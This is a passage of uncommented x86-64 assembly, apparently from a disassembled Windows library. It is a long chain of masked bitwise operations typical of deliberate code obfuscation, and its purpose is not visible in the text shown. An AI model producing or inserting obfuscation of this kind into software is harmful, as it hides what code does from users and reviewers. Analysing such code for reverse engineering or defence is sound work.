and ecx, 0x675deb69
mov edx, r10d
and edx, 0x98a21496
or edx, ecx
mov eax, ebx
and eax, 0x675deb69
mov ecx, ebp
and ecx, 0x98a21496
or ecx, eax
xor ecx, edx
not ecx
or ecx, edi
mov edx, ecx
not edx
mov eax, edi
and eax, 0x8a22d00a
and r10d, 0x75dd2ff5
or r10d, eax
xor r10d, 0x8a22d00a
or r10d, ebp
mov eax, r10d
not eax
and ebp, 0xdcfaf32a
and ebx, 0x23050cd5
or ebx, ebp
xor ebx, 0xdcfaf32a
or ebx, edi
mov ebp, ebx
not ebp
mov edi, r10d
and edi, 0x580cd130
and eax, 0xa7f32ecf
or eax, edi
or r10d, ebx
and ebx, 0x580cd130
and ebp, 0xa7f32ecf
or ebp, ebx
xor ebp, eax
not r10d
or r10d, ebp
mov eax, r10d
not eax
mov ebp, ecx
or ebp, eax
not ebp
and ecx, 0xeab7cdc0
and edx, 0x1548323f
or edx, ecx
and eax, 0xeab7cdc0
and r10d, 0x1548323f
or r10d, eax
xor r10d, edx
mov eax, ebp
and eax, r10d
xor r10d, ebp
or r10d, eax
mov r11d, r10d
not r11d
mov ecx, r11d
and ecx, r10d
mov ebp, ecx
not ebp
mov edx, r10d
and edx, 0x7acff96b
mov eax, r11d
and eax, 0x85300694
or eax, edx
mov ebx, r10d
or ebx, ebp
and ebp, 0x7acff96b
and ecx, 0x85300694
or ecx, ebp
xor ecx, eax
not ebx
or ebx, ecx
mov edi, ebx
not edi
mov ecx, r11d
or ecx, r10d
mov eax, edi
and eax, 0xb330cad9
and ebx, 0x4ccf3526
or ebx, eax
mov ebp, ebx
xor ebp, 0x4ccf3526
mov r9d, ecx
mov eax, ebp
and eax, ecx
xor ebp, ecx
not ecx
xor ebx, 0x22002d0
or ebx, 0xf957d929
mov edx, ebx
not edx
or edi, 0x6a826d6
mov esi, edi
not esi
and r9d, 0x6a826d6
and ecx, 0xf957d929
or ecx, r9d
and ebx, 0x41a423af
and edx, 0x6080450
or edx, ebx
and edi, 0x41a423af
and esi, 0xb853d800
or esi, edi
xor esi, edx
mov edx, esi
not edx
and edx, 0xebb25272
and esi, 0x144dad8d
or esi, edx
mov edx, ecx
not edx
and edx, 0xebb25272
and ecx, 0x144dad8d
or ecx, edx
xor ecx, esi
or ebp, eax
mov eax, ebp
not eax
mov edx, ecx
not edx
mov ebx, edx
and ebx, 0x2df00598
and ecx, 0xd20ffa67
or ecx, ebx
or edx, ebp
and ebp, 0x2df00598
and eax, 0xd20ffa67
or eax, ebp
xor eax, ecx
not edx
or edx, eax
mov eax, edx
not eax
and eax, 0xa596880
and edx, 0xf5a6977f
or edx, eax
mov eax, edx
xor eax, 0x94800015
xor edx, 0x8580800
and edx, 0x697e9f6a
and eax, 0x96816095
or eax, edx
mov ebp, eax
xor ebp, 0x697e9f6a
mov ecx, eax
xor ecx, 0x4816081
and ecx, 0x6dd966e1
xor eax, 0xf106677
and eax, ebp
and ebp, 0x9226991e
or ebp, ecx
mov ebx, ebp
xor ebx, 0x9226991e
mov edx, ebp
xor edx, 0xbb79ffc
and edx, ebx
mov ecx, edx
not ecx
mov edi, eax
not edi
mov esi, ecx
and esi, 0x7346971b
and edx, 0x8cb968e4
or edx, esi
or ecx, edi
and edi, 0x7346971b
and eax, 0x8cb968e4
or eax, edi
xor eax, edx
not ecx
or ecx, eax
mov eax, ecx
not eax
and eax, 0xe4447c70
and ecx, 0x1bbb838f
or ecx, eax
xor ecx, 0x822a856d
xor ebp, 0x209866a0
and ebp, 0xa0986eb0
mov edx, ebx
and edx, 0x5f67914f
or edx, ebp
xor edx, 0x5f67914f
or edx, ebx
mov eax, edx
not eax
and eax, 0xe24ed2aa
and edx, 0x1db12d55
or edx, eax
xor edx, 0x1db12d55
mov eax, ecx
and eax, edx
xor edx, ecx
or edx, eax
mov eax, edx
not eax
and eax, 0x2db17c42
and edx, 0xd24e83bd
or edx, eax
mov eax, edx
not eax
and eax, 0x52a6bd59
and edx, 0xad5942a6
or edx, eax
mov eax, edx
xor eax, 0x482280
xor edx, 0x4010801b
and edx, 0xc0b09c7f
and eax, 0x3f4f6380
or eax, edx
mov ebp, eax
xor ebp, 0xd092280
xor eax, 0xc0a0886d
and eax, 0xf2e6c96d
and ebp, 0xd193692
or ebp, eax
mov r14d, ebp
xor r14d, 0xf2e6c96d
mov r9d, ebp
xor r9d, 0xd193692
and r10d, 0x4c814325
and r11d, 0xb37ebcda
or r11d, r10d
mov eax, r11d
xor eax, 0x4c814325
mov ecx, r11d
xor ecx, 0xb37ebcda
xor r11d, 0x777daf02
and r11d, ecx
mov ecx, eax
and ecx, 0xc40313d8
mov edx, r11d
and edx, ecx
xor ecx, r11d
or ecx, edx
mov edx, ecx
not edx
and edx, 0x6d1bd7c6
and ecx, 0x92e42839
or ecx, edx
xor ecx, 0xa918c41e
mov edx, ecx
and edx, eax
xor ecx, eax
or ecx, edx
mov eax, ecx
not eax
and eax, 0xf2776d92
and ecx, 0xd88926d
or ecx, eax
mov edx, ecx
xor edx, 0x4808041
xor ecx, 0x50476112
and ecx, 0x594f733e
and edx, 0xa6b08cc1
or edx, ecx
mov eax, edx
xor eax, 0x63004c1
xor edx, 0x580e6202
and edx, 0xf88eea02
and eax, 0x77115fd
or eax, edx
mov edx, eax
xor edx, 0x77115fd
mov edi, eax
xor edi, 0xf88eea02
mov ebx, r14d
and ebx, 0x81faf1a9
xor ebp, 0x2b795d3b
and ebp, r9d
and r9d, 0x7e050e56
or r9d, ebx
xor r9d, 0x7e050e56
mov ecx, edi
and ecx, 0x151b59d8
mov esi, edx
xor eax, 0x21117e54
and eax, edx
and edx, 0xeae4a627
or edx, ecx
xor edx, 0xeae4a627
mov ecx, r9d
and ecx, edx
xor edx, r9d
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x29c636d7
and edx, 0xd639c928
or edx, ecx
mov ebx, edx
xor ebx, 0xd639c928
xor edx, 0x20820095
and r14d, 0x26606ba9
and edi, 0x80b8e64e
and esi, 0x7f4719b1
or esi, edi
mov ecx, esi
xor ecx, 0x7f4719b1
xor esi, 0xa6d88de7
and esi, ecx
mov ecx, r14d
and ecx, ebp
xor ebp, r14d
or ebp, ecx
mov ecx, esi
and ecx, eax
xor eax, esi
or eax, ecx
mov ecx, ebp
not ecx
and ecx, eax
not eax
and eax, ebp
or eax, ecx
mov ebp, eax
not ebp
mov ecx, ebx
xor ecx, ebp
and ecx, ebx
and edx, 0xe682089d
and ebx, 0x197df762
or ebx, edx
and ebp, 0xe682089d
and eax, 0x197df762
or eax, ebp
xor eax, ebx
mov ebx, ecx
not ebx
mov edx, eax
not edx
mov ebp, ebx
and ebp, 0xbed75186
and ecx, 0x4128ae79
or ecx, ebp
or ebx, edx
and edx, 0xbed75186
and eax, 0x4128ae79
or eax, edx
xor eax, ecx
not ebx
or ebx, eax
mov r9d, ebx
mov ecx, ebx
mov r10d, ebx
mov edi, ebx
xor edi, 0xd9d5b1a1
and edi, ebx
not ebx
mov ebp, ebx
and ebp, 0xb06490a0
and r9d, 0x9182209
or r9d, ebp
mov edx, r9d
xor edx, 0x8100008
xor r9d, 0xc0275986
mov esi, ebx
or esi, 0xb97cb2a9
mov ebp, esi
not ebp
and r9d, 0xc12f7b87
and edx, 0x38508028
or edx, r9d
and esi, 0xc12f7b87
and ebp, 0x6800450
or ebp, esi
xor ebp, edx
mov edx, ebp
not edx
and edx, 0x46834d56
and ebp, 0xb97cb2a9
or ebp, edx
mov edx, ebp
not edx
and edx, 0x38a6e12f
and ebp, 0xc7591ed0
or ebp, edx
mov edx, ebp
xor edx, 0x40401e50
xor ebp, 0x8866020
and ebp, 0x8f9f60a0
and edx, 0x70609f5f
or edx, ebp
mov ebp, edx
xor ebp, 0x8fa0b528
xor edx, 0x70609f5f
and edx, ebp
mov ebp, ebx
and ebp, 0x74396d27
and ecx, 0x8bc692d8
or ecx, ebp
mov eax, ecx
xor eax, 0x69088
and eax, 0x3fd588
xor ecx, 0x8bf94750
or ecx, eax
mov eax, ecx
not eax
and eax, 0xd923be89
and ecx, 0x26dc4176
or ecx, eax
mov eax, ecx
xor eax, 0x201c0134
xor ecx, 0xd923be89
mov ebp, edx
xor ebp, ecx
and ebp, edx
mov esi, edx
not esi
and esi, 0x16e142cb
and edx, 0xe91ebd34
or edx, esi
and ecx, 0x16e142cb
and eax, 0xe91ebd34
or eax, ecx
xor eax, edx
mov ecx, ebp
and ecx, eax
xor eax, ebp
or eax, ecx
mov ecx, eax
mov edx, eax
xor edx, 0xe88e5680
and edx, eax
not eax
and eax, 0x60680
and ecx, 0xe8885000
or ecx, eax
mov eax, ecx
xor eax, 0x20004000
xor ecx, 0x1777afff
mov ebp, edx
not ebp
mov esi, ecx
and esi, 0xdbf9b7ea
and eax, 0x20064000
or eax, esi
or ecx, ebp
and ebp, 0xdbf9b7ea
and edx, 0x24064815
or edx, ebp
xor edx, eax
not ecx
or ecx, edx
mov eax, ecx
not eax
and eax, 0xe6396f83
and ecx, 0x19c6907c
or ecx, eax
mov eax, ecx
xor eax, 0xe88ec8b
xor ecx, 0xf1771374
mov edx, ecx
and edx, 0xe3a2ec51
and ecx, eax
and eax, 0x1c5d13ae
or eax, edx
xor eax, 0x1c5d13ae
mov edx, eax
and edx, ecx
xor eax, ecx
or eax, edx
and ebx, 0x19d08001
and r10d, 0xc00531a0
or r10d, ebx
xor r10d, 0xc00531a0
mov ecx, r10d
and ecx, edi
xor edi, r10d
or edi, ecx
mov ecx, edi
not ecx
and ecx, 0x262a4e5e
and edi, 0xd9d5b1a1
or edi, ecx
mov r9d, eax
not r9d
mov edx, edi
not edx
mov ebp, eax
xor ebp, 0xa08e0da7
and ebp, r9d
and eax, 0x5f71f258
xor edi, 0xa08e0da7
and edi, edx
mov esi, edx
or esi, 0xa08e0da7
mov ebx, esi
not ebx
mov ecx, ebp
and ecx, eax
xor eax, ebp
or eax, ecx
mov ecx, edi
not ecx
mov ebp, ecx
and ebp, 0xd7a3727e
and edi, 0x285c8d81
or edi, ebp
or ecx, esi
and esi, 0xd7a3727e
and ebx, 0x8508000
or ebx, esi
xor ebx, edi
not ecx
or ecx, ebx
mov ebp, eax
not ebp
and ebp, ecx
not ecx
and ecx, eax
or ecx, ebp
mov eax, r9d
and eax, edx
xor edx, r9d
or edx, eax
not edx
mov eax, ecx
and eax, edx
xor edx, ecx
or edx, eax
mov ecx, edx
mov eax, edx
xor eax, 0xb46ce285
and eax, edx
not edx
and edx, 0xb4202084
and ecx, 0x4cc201
or ecx, edx
mov edx, ecx
xor edx, 0x4201
xor ecx, 0xffb33dfe
mov ebp, eax
not ebp
mov ebx, ecx
and ebx, 0x29dfad86
and edx, 0x94204201
or edx, ebx
or ecx, ebp
and ebp, 0x29dfad86
and eax, 0xd6205279
or eax, ebp
xor eax, edx
not ecx
or ecx, eax
mov eax, ecx
not eax
and eax, 0xf2340e1c
and ecx, 0xdcbf1e3
or ecx, eax
mov eax, ecx
xor eax, 0x20860362
xor ecx, 0x46508800
and eax, 0x208e67fb
and ecx, 0xdf719804
or ecx, eax
mov ebx, ecx
xor ebx, 0x804181
xor ecx, 0x8b319000
and ecx, 0xab3fb67a
and ebx, 0x54c04985
or ebx, ecx
mov ebp, ebx
xor ebp, 0x54c04985
xor ebx, 0xab3fb67a
mov ecx, ebp
and ecx, 0x8f9d176b
mov eax, ebx
and eax, 0x7062e894
or eax, ecx
xor eax, 0x8f9d176b
mov r9d, r8d
not r9d
mov esi, eax
xor esi, r8d
and eax, esi
and esi, r8d
mov ecx, eax
and ecx, esi
xor esi, eax
or esi, ecx
mov ecx, esi
not ecx
and esi, r8d
or r8d, 0x50db434d
mov eax, r8d
not eax
mov edx, r9d
or edx, 0xaf24bcb2
mov edi, edx
not edi
and r8d, 0x4bb2ff9a
and eax, 0xa4040020
or eax, r8d
and edx, 0x4bb2ff9a
and edi, 0x10490045
or edi, edx
xor edi, eax
mov eax, edi
not eax
and eax, 0x50db434d
and edi, 0xaf24bcb2
or edi, eax
mov eax, ebp
and eax, edi
not edi
and edi, ebx
or edi, eax
not edi
or edi, ebx
and ebx, 0x4093012
mov eax, ebp
and eax, 0xe8408400
or eax, ebx
xor eax, 0xe8408400
and ebp, 0x13b64bed
or ebp, eax
mov eax, ebp
not eax
and eax, 0x14d7ca6f
and ebp, 0xeb283590
or ebp, eax
mov eax, ebp
xor eax, 0x3608102
xor ebp, 0xb80c0209
and ebp, 0xbc0d0289
and eax, 0x43f2fd76
or eax, ebp
xor eax, 0x43f2fd76
mov edx, r9d
and edx, eax
xor eax, r9d
and r9d, ecx
or esi, r9d
not esi
or esi, ecx
mov ecx, esi
not ecx
or eax, edx
mov edx, eax
not edx
and edx, edi
not edi
mov ebp, edi
xor ebp, eax
and ebp, edi
and eax, edi
or eax, edx
mov edx, ebp
and edx, eax
xor eax, ebp
or eax, edx
mov edx, eax
not edx
mov edi, ecx
and edi, 0x3b72f3df
mov ebx, esi
and ebx, 0xc48d0c20
or ebx, edi
mov edi, eax
and edi, 0x3b72f3df
mov r9d, eax
xor r9d, 0x2b0aaf2f
and r9d, edx
and edx, 0xc48d0c20
or edx, edi
xor edx, ebx
mov edi, ecx
or edi, eax
not edi
or edi, edx
mov edx, edi
not edx
and edx, 0x7af25a59
and edi, 0x850da5a6
or edi, edx
mov r8d, edi
xor r8d, 0x840081a0
mov ebx, esi
xor ebx, 0xd4f550d0
and ebx, ecx
and eax, 0xd4f550d0
or ecx, 0xd4f550d0
mov edx, ebx
not edx
mov ebp, ecx
and ebp, 0xcc86f76
and esi, 0x23028009
or esi, ebp
or ecx, edx
and edx, 0xcc86f76
and ebx, 0xf3379089
or ebx, edx
xor ebx, esi
not ecx
or ecx, ebx
mov edx, r9d
and edx, eax
xor eax, r9d
or eax, edx
mov edx, ecx
not edx
and edx, 0xb44ce6d7
and ecx, 0x4bb31928
or ecx, edx
mov edx, eax
not edx
and edx, 0xb44ce6d7
and eax, 0x4bb31928
or eax, edx
xor eax, ecx
xor edi, 0x7af25a59
mov ebp, eax
not ebp
mov edx, ebp
and edx, 0x50dec6c0
and eax, 0xaf21393f
or eax, edx
mov r9d, eax
xor r9d, 0xaf21393f
or r8d, 0x33fd2e5e
mov r10d, r8d
not r10d
mov edx, edi
and edx, r9d
xor r9d, edi
or edi, 0xcc02d1a1
mov ebx, edi
not ebx
xor eax, 0x4002c080
or eax, 0x33fd2e5e
mov esi, eax
not esi
or ebp, 0xcc02d1a1
mov ecx, ebp
not ecx
and r8d, 0x9d248c64
and r10d, 0x40025181
or r10d, r8d
and edi, 0x9d248c64
and ebx, 0x22d9221a
or ebx, edi
xor ebx, r10d
and eax, 0xf57ec395
and esi, 0x8001020
or esi, eax
and ebp, 0xf57ec395
and ecx, 0x2812c4a
or ecx, ebp
xor ecx, esi
mov eax, ebx
not eax
and eax, ecx
not ecx
and ecx, ebx
or ecx, eax
or r9d, edx
not r9d
mov eax, ecx
and eax, r9d
xor r9d, ecx
or r9d, eax
mov eax, r9d
mov ecx, r9d
not eax
mov ebx, eax
mov r9d, eax
and ebx, 0xcab690ab
mov r14d, ecx
mov r8d, eax
and r8d, ecx
mov r11d, ecx
mov eax, ecx
mov dword [rsp + 0x34], ecx
mov r10d, ecx
and eax, 0x35496f54
or eax, ebx
mov ecx, eax
xor ecx, 0x35496f54
and ecx, eax
mov edx, eax
xor edx, r9d
and edx, eax
mov ebx, ecx
not ebx
mov ebp, edx
xor ebp, 0xc0562a98
and ebp, edx
mov eax, edx
not eax
mov edx, ecx
xor edx, 0xc0562a98
and edx, ebx
and ecx, 0x3fa9d567
mov esi, eax
and esi, 0xc0562a98
mov edi, edx
and edi, ecx
xor ecx, edx
or ecx, edi
mov edx, esi
and edx, ebp
xor ebp, esi
or ebp, edx
mov edx, ecx
not edx
and edx, ebp
not ebp
and ebp, ecx
or ebp, edx
mov ecx, ebx
and ecx, eax
xor eax, ebx
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x5f0273f
and eax, 0xfa0fd8c0
or eax, ecx
xor eax, 0xfa0fd8c0
mov ecx, ebp
and ecx, eax
xor eax, ebp
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x9000241
mov edx, eax
and edx, 0x60002186
or edx, ecx
xor edx, 0x60002186
and eax, 0x96ffdc38
or eax, edx
mov ecx, eax
not ecx
and ecx, 0x5c494c93
and eax, 0xa3b6b36c
or eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xb55671e0
and ecx, eax
and eax, 0x4aa98e1f
or eax, edx
xor eax, 0x4aa98e1f
mov edx, eax
and edx, ecx
xor eax, ecx
or eax, edx
mov ecx, eax
not ecx
and ecx, 0x4250c3a5
and eax, 0xbdaf3c5a
or eax, ecx
mov ebp, eax
xor ebp, 0x2500201
xor eax, 0x10233458
and eax, 0x5023f5fc
and ebp, 0xafdc0a03
or ebp, eax
mov r15d, ebp
xor r15d, 0xafdc0a03
xor ebp, 0x5023f5fc
mov dword [rsp + 0x38], r9d
mov eax, r9d
and eax, 0xb6c43ac3
and r14d, 0x493bc53c
or r14d, eax
mov eax, r14d
xor eax, 0x2bc518
xor r14d, 0xb6c43ac3
mov edx, r8d
not edx
mov esi, r14d
and esi, 0x5fd01064
and eax, 0xa02fef9b
or eax, esi
or r14d, edx
and edx, 0x5fd01064
and r8d, 0xa02fef9b
or r8d, edx
xor r8d, eax
not r14d
or r14d, r8d
mov eax, r14d
not eax
and eax, 0xfddf8bb7
and r14d, 0x2207448
or r14d, eax
mov eax, r14d
xor eax, 0x204440
mov edx, r9d
and edx, 0x864246e0
and r11d, 0x79bdb91f
or r11d, edx
mov edx, r11d
xor edx, 0x58ad8105
xor r14d, 0xfddf8bb7
xor r11d, 0x864246e0
mov ebx, r14d
and ebx, 0xa710381a
and eax, 0x58efc7e5
or eax, ebx
or r14d, r11d
and r11d, 0xa710381a
and edx, 0x58efc7e5
or edx, r11d
xor edx, eax
not r14d
or r14d, edx
mov eax, r14d
not eax
mov edx, ebp
and edx, 0xa2fef0ca
mov ecx, r15d
and ecx, 0x5d010f35
or ecx, edx
xor ecx, 0x5d010f35
mov r12d, ebp
and r12d, r15d
mov edx, ecx
and edx, r12d
xor r12d, ecx
or r12d, edx
mov ecx, r14d
xor ecx, 0x24e54861
and ecx, eax
mov ebx, eax
or ebx, 0x24e54861
mov edx, ecx
not edx
mov esi, ebx
and esi, 0xc57b4328
mov edi, r14d
and edi, 0x5a04d13c
and eax, 0xa5fb2ec3
or eax, edi
not eax
or eax, r14d
and r14d, 0x1a00b496
or r14d, esi
or ebx, edx
and edx, 0xc57b4328
and ecx, 0x3a84bcd7
or ecx, edx
xor ecx, r14d
not ebx
or ebx, ecx
mov ecx, ebx
not ecx
and ecx, 0x47f45636
and ebx, 0xb80ba9c9
or ebx, ecx
mov r13d, ebx
xor r13d, 0x63111e57
mov r11d, r12d
not r11d
mov ecx, r11d
and ecx, 0x3010eb31
mov edx, r12d
and edx, 0xcfef14ce
or edx, ecx
mov edi, edx
xor edi, 0xcfef14ce
xor edx, 0x20006b00
and edx, 0xa52c6f8e
mov ecx, edi
and ecx, 0x5ad39071
or ecx, edx
xor ecx, 0xd7414d
and edi, 0xa5fb2ec3
or edi, ecx
mov edx, edi
not edx
mov ecx, ebp
and ecx, 0x5a04d13c
and r15d, 0xa5fb2ec3
or r15d, ecx
xor ebp, r15d
and ebp, r15d
xor ebx, 0x9ceee1a8
mov esi, ebx
and esi, 0xad1a052e
mov ecx, r13d
and ecx, 0x52e5fad1
or ecx, esi
xor ecx, 0x8e12bed
mov r8d, ecx
xor r8d, ebx
and r8d, ecx
mov ecx, edi
and ecx, 0x4a92487d
and edx, 0xb56db782
or edx, ecx
mov r14d, edx
mov esi, ebp
xor esi, 0xdc8d61c6
and esi, ebp
not ebp
xor edx, 0x48804044
or edx, 0x23729e39
mov ecx, edx
not ecx
or edi, 0xdc8d61c6
and edx, 0xdf9f8d3
and ecx, 0xd0040104
or ecx, edx
mov edx, edi
not edx
and edi, 0xdf9f8d3
and edx, 0x22020628
or edx, edi
mov edi, ebp
and edi, 0xdc8d61c6
xor edx, ecx
mov ecx, edi
and ecx, esi
xor esi, edi
mov edi, eax
not edi
xor r14d, 0xb56db782
or esi, ecx
mov ecx, edx
not ecx
and ecx, 0x7a49efb6
and edx, 0x85b61049
or edx, ecx
mov ecx, esi
not ecx
and ecx, 0x7a49efb6
and esi, 0x85b61049
or esi, ecx
xor esi, edx
mov ecx, r14d
and ecx, ebp
xor ebp, r14d
or ebp, ecx
not ebp
mov ecx, esi
and ecx, ebp
xor ebp, esi
or ebp, ecx
mov edx, r8d
not edx
mov ecx, edx
and ecx, 0x207c7a27
and r8d, 0xdf8385d8
or r8d, ecx
mov r14d, r8d
xor r14d, 0xdf8385d8
mov ecx, eax
and ecx, 0x6b0a73c9
xor eax, 0x9fbdf8c0
and eax, edi
and edi, 0x94f58c36
or edi, ecx
xor r8d, 0x403e7d18
and r8d, r14d
or edx, 0x6042073f
mov esi, r8d
not esi
mov ecx, esi
and ecx, 0x654e9d2f
and r8d, 0x9ab162d0
or r8d, ecx
mov ecx, edx
not ecx
or esi, edx
and edx, 0x654e9d2f
and ecx, 0x9ab160c0
or ecx, edx
mov edx, edi
xor edi, 0x60020309
or edi, 0x9fbdf8c0
xor ecx, r8d
mov r8d, edi
not r8d
not esi
or esi, ecx
mov ecx, edi
and ecx, 0x4487ab4f
and r8d, 0x20400430
or r8d, ecx
mov ecx, eax
not ecx
or edi, ecx
and ecx, 0x4487ab4f
and eax, 0xbb7854b0
or eax, ecx
mov r15d, dword [rsp + 0x34]
mov r9d, r15d
xor r9d, 0x696732d5
and r9d, r15d
xor eax, r8d
mov ecx, dword [0x180087b90]
mov dword [rsp + 0x34], ecx
xor edx, 0x94f58c36
not edi
or edi, eax
mov eax, esi
not eax
and eax, 0x17b901c5
and esi, 0xe846fe3a
or esi, eax
mov eax, edi
not eax
and eax, 0x17b901c5
and edi, 0xe846fe3a
or edi, eax
xor edi, esi
mov eax, r14d
and eax, edx
xor edx, r14d
or edx, eax
not edx
mov eax, edi
and eax, edx
xor edx, edi
or edx, eax
mov eax, ebp
mov edi, ebp
xor edi, 0xdd44f813
and edi, ebp
not ebp
and ebp, 0x49405811
and eax, 0x9404a002
or eax, ebp
mov r14d, eax
xor r14d, 0x8002
xor eax, 0x6bfb5ffd
mov esi, edx
xor esi, 0xdd44f813
and esi, edx
or edx, 0x22bb07ec
mov r8d, eax
and r8d, 0xd5543ab9
and r14d, 0x800c002
or r14d, r8d
mov ebp, edi
not ebp
or eax, ebp
and ebp, 0xd5543ab9
and edi, 0x2aabc546
or edi, ebp
mov ebp, edx
not ebp
xor edi, r14d
not eax
or eax, edi
mov edi, esi
not edi
mov r8d, edx
and r8d, 0xd8cd759
and ebp, 0xd0402802
or ebp, r8d
or edx, edi
and edi, 0xd8cd759
and esi, 0xf27328a6
or esi, edi
xor esi, ebp
not edx
or edx, esi
mov ebp, eax
not ebp
and ebp, edx
not edx
and edx, eax
or edx, ebp
mov eax, r11d
or eax, ebx
not eax
and r11d, 0xdd78db07
and r12d, 0x228724f8
or r12d, r11d
and ebx, 0xdd78db07
and r13d, 0x228724f8
or r13d, ebx
xor r13d, r12d
mov ebp, eax
and ebp, r13d
xor r13d, eax
or r13d, ebp
mov eax, r13d
xor eax, 0xa76481ef
and eax, r13d
not r13d
and r13d, 0xa76481ef
mov ebp, r13d
and ebp, eax
xor eax, r13d
or eax, ebp
mov ebp, eax
not ebp
and ebp, 0x4846c2f3
and eax, 0xb7b93d0c
or eax, ebp
mov ebp, eax
xor ebp, 0x198042
xor eax, 0xef22431c
mov ebx, eax
and ebx, 0x3ac47cad
and ebp, 0xc53b8352
or ebp, ebx
xor ebp, 0x3ac47cad
xor eax, ebp
and eax, ebp
mov ebx, edx
not ebx
mov ebp, ebx
and ebp, 0xbb3add50
and edx, 0x44c522af
or edx, ebp
mov r8d, edx
xor r8d, 0x4001000b
mov edi, eax
not edi
xor edx, 0xbb3add50
mov r11d, edx
or r11d, 0x6a3ff431
mov r12d, r11d
not r12d
or ebx, 0x95c00bce
mov ebp, ebx
not ebp
mov r14d, edi
and r14d, 0x95c00bce
mov esi, eax
and esi, 0x6a3ff431
or esi, r14d
and r11d, 0xec2cc096
and r12d, 0x11c00b48
or r12d, r11d
and ebx, 0xec2cc096
and ebp, 0x2133421
or ebp, ebx
xor ebp, r12d
mov ebx, ebp
not ebx
and ebx, esi
not esi
and esi, ebp
or esi, ebx
mov ebp, edx
and ebp, 0x15e473b4
and r8d, 0xea1b8c4b
or r8d, ebp
or edx, eax
and eax, 0x15e473b4
and edi, 0xea1b8c4b
or edi, eax
xor edi, r8d
not edx
or edx, edi
mov eax, edx
not eax
and eax, 0x477d3096
and edx, 0xb882cf69
or edx, eax
xor edx, 0xb882cf69
mov eax, esi
and eax, edx
xor edx, esi
or edx, eax
mov eax, edx
not eax
mov ebp, eax
and ebp, 0xe896773c
mov edi, edx
and edi, 0x176988c3
or edi, ebp
mov ebx, edi
xor ebx, 0x3098000
xor edi, 0x8090632c
and edi, 0x94f06bef
and ebx, 0x6b0f9410
or ebx, edi
mov ebp, ebx
xor ebp, 0x290f8010
xor ebx, 0x107008aa
and ebx, 0x52701caa
and ebp, 0xad8fe355
or ebp, ebx
mov esi, ebp
xor esi, 0xad8fe355
xor ebp, 0x52101c2a
and eax, 0xea52df85
and edx, 0x15ad207a
or edx, eax
mov eax, edx
xor eax, 0x15ad207a
xor edx, 0x80021504
and edx, 0x810a352e
mov edi, eax
and edi, 0x7ef5cad1
or edi, edx
xor edi, 0x7ef5cad1
or edi, eax
mov eax, edi
not eax
mov ebx, esi
xor ebx, edi
and ebx, esi
and ebp, 0xd716fe2f
and esi, 0x28e901d0
or esi, ebp
and edi, 0xd716fe2f
and eax, 0x28e901d0
or eax, edi
xor eax, esi
mov edx, ebx
not edx
mov ebp, eax
not ebp
mov edi, edx
and edi, 0x1041f03e
and ebx, 0xefbe0fc1
or ebx, edi
or edx, ebp
and ebp, 0x1041f03e
and eax, 0xefbe0fc1
or eax, ebp
xor eax, ebx
not edx
or edx, eax
mov ebx, edx
not ebx
mov eax, ebx
and eax, 0xf746d965
mov esi, edx
and esi, 0x8b9269a
or esi, eax
mov eax, esi
xor eax, 0x8b9269a
xor esi, 0xf746d965
or esi, eax
mov eax, esi
not eax
and ebx, 0x5e38af8d
and edx, 0xa1c75072
or edx, ebx
mov ebx, edx
xor ebx, 0x5e38af8d
mov edi, edx
xor edi, 0x21c61012
and edi, 0x33d61717
xor edx, 0xa38ce169
and edx, ebx
and ebx, 0xcc29e8e8
or ebx, edi
mov r8d, ebx
xor r8d, 0xcc29e8e8
mov ebp, esi
xor ebp, 0x24bb11b
mov r14d, ebp
and r14d, esi
and ebp, eax
mov r11d, ebx
xor r11d, 0xce6259f3
and r11d, r8d
mov edi, r14d
not edi
mov r12d, edi
and r12d, 0xcb396b1
and r14d, 0xf34c694e
or r14d, r12d
mov r12d, ebp
not r12d
or edi, r12d
and r12d, 0xcb396b1
and ebp, 0xf34c694e
or ebp, r12d
xor ebp, r14d
not edi
or edi, ebp
mov ebp, r11d
and ebp, edx
xor edx, r11d
or edx, ebp
mov ebp, edi
not ebp
and ebp, edx
not edx
and edx, edi
or edx, ebp
xor ebx, 0x33d61717
mov ebp, eax
and ebp, 0x2ed50c8b
and esi, 0xd12af374
or esi, ebp
or eax, ebx
and ebx, 0x2ed50c8b
and r8d, 0xd12af374
or r8d, ebx
xor r8d, esi
not eax
or eax, r8d
mov ebp, eax
not ebp
and ebp, 0x60fdf1ae
and eax, 0x9f020e51
or eax, ebp
xor eax, 0x9f020e51
mov ebp, edx
and ebp, eax
xor eax, edx
or eax, ebp
mov edx, eax
not edx
mov ebp, eax
and ebp, 0xa4c2480
mov ebx, edx
and ebx, 0x6a6ca7e0
and eax, 0x9593581f
or eax, ebx
xor eax, 0x9a5e2cd9
or eax, edx
and edx, 0x5815046
or edx, ebp
xor edx, 0x5815046
or edx, 0xf0328b39
mov ebp, edx
not ebp
mov ebx, eax
not ebx
mov edi, edx
or edi, eax
mov esi, edi
not esi
and edx, 0xfcf8e92c
and ebp, 0x30514c2
or ebp, edx
and eax, 0xfcf8e92c
and ebx, 0x30716d3
or ebx, eax
xor ebx, ebp
mov eax, ebx
not eax
mov edx, edi
and edx, 0x54f72fd
and esi, 0xa800402
or esi, edx
or edi, eax
and eax, 0x54f72fd
and ebx, 0xfab08d02
or ebx, eax
xor ebx, esi
not edi
or edi, ebx
mov eax, edi
not eax
and eax, 0x10050204
mov edx, edi
and edx, 0x423ae489
or edx, eax
xor edx, 0x423ae489
and edi, 0xadc01972
or edi, edx
mov eax, edi
not eax
and eax, 0x822d2935
and edi, 0x7dd2d6ca
or edi, eax
mov eax, edi
xor eax, 0x204401
xor edi, 0x875c2944
and edi, 0xa75c29c4
and eax, 0x58a3d63b
or eax, edi
mov edx, eax
xor edx, 0x58a3d63b
mov ebx, eax
xor ebx, 0xa75c29c4
xor eax, 0xcf0a26d
and eax, edx
and edx, 0x62de6d07
mov ebp, ebx
and ebp, 0x9d2192f8
or ebp, edx
xor ebp, 0x9d2192f8
or ebp, ebx
and ebx, 0x54537456
mov edx, ebx
and edx, eax
xor eax, ebx
or eax, edx
mov edx, eax
not edx
and edx, 0xdcd64873
and eax, 0x2329b78c
or eax, edx
mov edx, eax
xor edx, 0x8842800
mov ebx, ebp
not ebx
and ebx, 0x86ed5d6d
and ebp, 0x7912a292
or ebp, ebx
mov ebx, ebp
xor ebx, 0x58022000
xor eax, 0x777ac3da
xor ebp, 0x86ed5d6d
mov edi, eax
and edi, 0xa55196b7
and edx, 0x5aae6948
or edx, edi
